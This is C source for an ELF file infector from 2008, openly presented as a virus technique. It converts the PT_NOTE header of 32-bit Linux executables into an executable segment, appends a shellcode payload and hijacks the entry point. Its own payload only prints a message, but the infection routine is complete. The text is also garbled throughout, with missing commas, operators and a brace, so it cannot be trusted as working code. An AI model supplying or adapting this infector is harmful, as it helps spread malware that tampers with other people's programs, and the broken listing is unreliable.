/*
  infect_ELF.c - ELF infection by PT_NOTE section header overwrite method
                 for 32-bit x86 elves 
  Copyright (C) 2008 swestres (at hotmail \./ com)

  Permission to use, copy, modify, and/or distribute this software for any
  purpose with or without fee is hereby granted, provided that the above
  copyright notice and this permission notice appear in all copies.

  THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

  I should not be given any credit for the infection method. I saw it in
  the virus-writing-HOWTO. The code is however mine, entirely.

  "What the fuck is happening?
   Ah, man. I shot Marvin in the face... 
   Why the fuck did you do that?
   I didn't mean to do it, it was an accident."
                 --- Pulp Fiction

*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>
#include <elf.h>
#include <stdint.h>

/*******************************************************************************
*****************************  DEFINES  ****************************************
*******************************************************************************/
#define SUCCESS 0
#define FAILURE -1
/*******************************************************************************
******************************  DATA  ******************************************
*******************************************************************************/
// this is the actual code we will infect another ELF file with. It's very
// important that this doesn't modify the state of the machine, at least not
// edx.
static char gPayload[] = {
    0x52,                         //          push edx  
    0xE80x160x000x000x00//          call afterStr
    0x490x6E0x6A0x650x630x740x690x6F0x6E0x2E0x2E0x2E
    0x200x410x680x680x680x680x2E0x2E0x2E0x0A,
    0x59,                         //afterStr: pop ecx
    0x6A0x04,                   //          push byte 4
    0x58,                         //          pop eax
    0x6A0x01,                   //          push byte 1
    0x5B,                         //          pop ebx
    0x6A0x16,                   //          push byte 22
    0x5A,                         //          pop edx
    0xCD0x80,                   //          int 0x80
    0x5A,
};

// the following code is appended to the code above so that we're able to jmp 
// to the original entry point
static char gRet[] = {
    //mov dword [esp-4], 0xAAAAAAAA ; patched later on to original entry
    0xC70x440x240xFC0xAA0xAA0xAA0xAA
    //jmp near [esp-4]
    0xFF0x640x240xFC

// old code changed eax state but was smaller
//    0xB8, 0x00, 0x00, 0x00, 0x00, //          mov eax, 0x00000000 ; addr
//    0xFF, 0xE0                    //          jmp near eax       
};                             

// stack (in main) data structure that holds information about the file to be
// infected
typedef struct {
    char *fileName;
    int fd;
    void *fdata;
    struct stat fstat;
injFileInfo_t;

/*******************************************************************************
******************************  CODE  ******************************************
*******************************************************************************/

void usage(char *appname);
int setupFileInfo(injFileInfo_t *infchar *fname);
int validateElf(void *elfsize_t size);
Elf32_Phdr *getNoteHeader(void *elf);
Elf32_Addr getNextVaddr(void *elf);
void overwriteNoteHeader(Elf32_Phdr *noteElf32_Addr vaddrsize_t fsize);
Elf32_Addr setNewEntry(void *elfElf32_Addr ne);

int main(int argcchar *argv[])
{
    Elf32_Phdr *noteHdr;
    injFileInfo_t injFileInfo;
    Elf32_Addr newVaddroldEntry;
    Elf32_Addr pad,i;

    if (argc != 2) {
        usage(argv[0]);
        return 1;
    }

    if (setupFileInfo(&injFileInfoargv[1]) == FAILURE) {
        return 1;
    }

    if (validateElf(injFileInfo.fdatainjFileInfo.fstat.st_size)==FAILURE) {
        fprintf(stderr"invalid ELF file\n");
        return 1;
    }

    noteHdr getNoteHeader(injFileInfo.fdata);
    if (!noteHdr) {
        fprintf(stderr"Couldn't locate NOTE program header\n");
        return 1;
    }

    newVaddr getNextVaddr(injFileInfo.fdata);
    if (newVaddr == 0) {
        fprintf(stderr"Couldn't calculate vaddr for new segment\n");
        return 1;
    }

    overwriteNoteHeader(noteHdrnewVaddrinjFileInfo.fstat.st_size);
    oldEntry setNewEntry(injFileInfo.fdatanewVaddr);
    *(Elf32_Addr*)&gRet[4] = oldEntry;
    munmap(injFileInfo.fdatainjFileInfo.fstat.st_size); 

    // add the padding and new segment data, close the file and exit
    pad 0x1000 - (injFileInfo.fstat.st_size 0x1000);
    lseek(injFileInfo.fd0SEEK_END);
    for(i=0i<padi++) {
        write(injFileInfo.fd""1);
    }
    write(injFileInfo.fdgPayloadsizeof(gPayload));
    write(injFileInfo.fdgRetsizeof(gRet));
    close(injFileInfo.fd);
    printf("Segment vaddr: 0x%08X\n",newVaddr);
    return 0;
}

/*
  usage --
      Writes usage information to stderr
 */
void usage(char *appname)
{
    fprintf(stderr"infect ELF\n"
            "usage: %s file\n"
            "    file: file to infect\n"appname);
}

/*
  setupFileInfo --
      Does file loading, error checking and error reporting. 
      Fills out the injFileInfo_t for us.
*/
int setupFileInfo(injFileInfo_t *infchar *fname)
{

    inf->fileName fname;
    inf->fd open(fnameO_RDWR);
    if (inf->fd == -1) {
        fprintf(stderr"couldn't open %s: %s\n"fnamestrerror(errno));
        return FAILURE;
    }

    if (fstat(inf->fd, &(inf->fstat)) == -1) {
        perror("fstat");
        return FAILURE;
    

    // make sure our file is a regular one
    if (!S_ISREG(inf->fstat.st_mode)) {
        fprintf(stderr"%s is not a regular file\n"inf->fileName);
        return FAILURE;
    }

    // load the file to memory
    inf->fdata mmap(NULLinf->fstat.st_sizePROT_READ|PROT_WRITE
                      MAP_SHAREDinf->fd0);
    if (inf->fdata == MAP_FAILED) {
        perror("mmap");
        return FAILURE;
    }

    return SUCCESS;
}

/*
  validateElf --
      Check ELF magic number and header integrity
*/
int validateElf(void *elfsize_t size)
{
    Elf32_Ehdr *ehdr;
    int phdrSizeshdrSize;

    if (size <= sizeof(Elf32_Ehdr)) {
        return FAILURE;
    }

    ehdr elf;
    if (*(uint32_t*)ehdr->e_ident != 0x464c457f) {
        return FAILURE;
    }

    if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) {
        return FAILURE;
    }
    
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) {
        return FAILURE;
    }

    if (ehdr->e_ident[EI_OSABI] != ELFOSABI_NONE &&
        ehdr->e_ident[EI_OSABI] != ELFOSABI_LINUX) {
        return FAILURE;
    }

    if (ehdr->e_type != ET_EXEC ||
        ehdr->e_machine != EM_386) {
        return FAILURE;
    }
    
    phdrSize ehdr->e_phentsize ehdr->e_phnum;
    shdrSize ehdr->e_shentsize ehdr->e_shnum;

    if ((phdrSize shdrSize) >= size) {
        return FAILURE;
    }

    if ((ehdr->e_phoff phdrSize) >= size) {
        return FAILURE;
    }

/*
  Not needed

    if ((ehdr->e_shoff + shdrSize) >= size) {
        return FAILURE;
    }
*/  
    return SUCCESS;
}

/*
  getNoteHeader --
      Returns a pointer to the PT_NOTE program header of a loaded ELF
*/
Elf32_Phdr *getNoteHeader(void *elf)
{
    Elf32_Phdr *phdr;
    Elf32_Ehdr *ehdr;
    Elf32_Half i;

    ehdr elf;
    phdr = (Elf32_Phdr*)((uint8_t*)elf ehdr->e_phoff);

    for(i=0ehdr->e_phnumi++) {
        if (phdr->p_type == PT_NOTE) {
            return phdr;
        }
        phdr++;
    }

    return NULL;
}

/*
  getNextVaddr --
      Calculates the virual address of a new segment in a loaded ELF file
      returns zero if calculation fails
*/
Elf32_Addr getNextVaddr(void *elf)
{
    Elf32_Ehdr *ehdr;
    Elf32_Phdr *phdr;
    Elf32_Half i;
    Elf32_Addr vaddr 0;
    Elf32_Word alignsize;

    ehdr elf;
    phdr = (Elf32_Phdr*)((uint8_t*)elf ehdr->e_phoff);

    // save the vaddr, align and size from the program header with the highest
    // vaddr
    for(i=0ehdr->e_phnumi++) {
        if (phdr->p_type != PT_LOAD) {
            phdr++;
            continue;
        }

        if (phdr->p_vaddr vaddr) {
            vaddr phdr->p_vaddr;
            align phdr->p_align;
            size phdr->p_filesz;
        }
        phdr++;
    }

    //printf("vaddr: 0x%08X, size: 0x%08X align: 0x%08X\n", vaddr, size, 
    //        align);

    vaddr += size align ;//- (size % align);
    vaddr vaddr 0xFFFFF000// Try remove this if it doesn't work
    return vaddr;
}

/*
  overwriteNoteHeader --
      Overwrites the old values of the note header with the values for the
      new segment
*/
void overwriteNoteHeader(Elf32_Phdr *noteElf32_Addr vaddrsize_t fsize)
{
    Elf32_Addr pad;

    pad 0x1000 - (fsize 0x1000);

    note->p_type PT_LOAD;
    note->p_offset fsize pad;
    note->p_vaddr 
        note->p_paddr vaddr;
    note->p_filesz 
        note->p_memsz sizeof(gPayload) + sizeof(gRet);
    note->p_flags PF_R PF_W PF_X;
    note->p_align 0x1000;
    
}

/*
  setNewEntry --
      Set the ELF entry to the value given in ne. Returns the old entry
      point.
      
*/
Elf32_Addr setNewEntry(void *elfElf32_Addr ne)
{
    Elf32_Ehdr *ehdr elf;
    Elf32_Addr oldEntry;

    oldEntry ehdr->e_entry;
    ehdr->e_entry ne;
    return oldEntry;
}

/*******************************************************************************
*********************************** EOF ****************************************
*******************************************************************************/